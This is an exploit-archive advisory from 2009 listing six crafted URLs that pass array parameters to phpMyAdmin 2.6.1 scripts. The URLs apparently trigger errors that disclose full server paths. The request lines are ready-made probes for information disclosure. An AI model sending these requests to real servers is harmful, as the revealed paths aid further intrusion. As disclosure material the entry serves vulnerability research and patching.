phpMyAdmin 2.6.1 Disclosure

2009-08-26T00:00:00
ID PACKETSTORM:80670
Type packetstorm
Reporter Inj3ct0r
Modified 2009-08-26T00:00:00

Description

                                        
                                            `===================================  
phpMyAdmin <= 2.6.1 disclosure ways  
===================================  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0   
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1  
  
#[+] Discovered By : Inj3ct0r  
#[+] Site : Inj3ct0r.com  
#[+] support e-mail : submit[at]inj3ct0r.com  
  
  
Site Production: www.phpmyadmin.net  
Product: phpMyAdmin 2.6.1  
Version: 2.6.1  
  
  
disclosure ways:  
  
http://localhost/Tools/phpMyAdmin/tbl_properties.php?lang[]=ru-win1251  
http://localhost/Tools/phpMyAdmin/tbl_properties.php?server[]=1  
http://localhost/Tools/phpMyAdmin/tbl_properties.php?collation_connection[]=cp1251_general_ci  
http://localhost/Tools/phpMyAdmin/tbl_properties.php?db[]=aaa&table=aaa  
http://localhost/Tools/phpMyAdmin/sql.php?sql_query[]=  
http://localhost/Tools/phpMyAdmin/server_export.php?convcharset[]=iso-8859-1  
  
ThE End =] Visit my proj3ct :  
  
http://inj3ct0r.com  
http://inj3ct0r.org  
http://inj3ct0r.net  
  
# ~ - [ [ : Inj3ct0r : ] ]`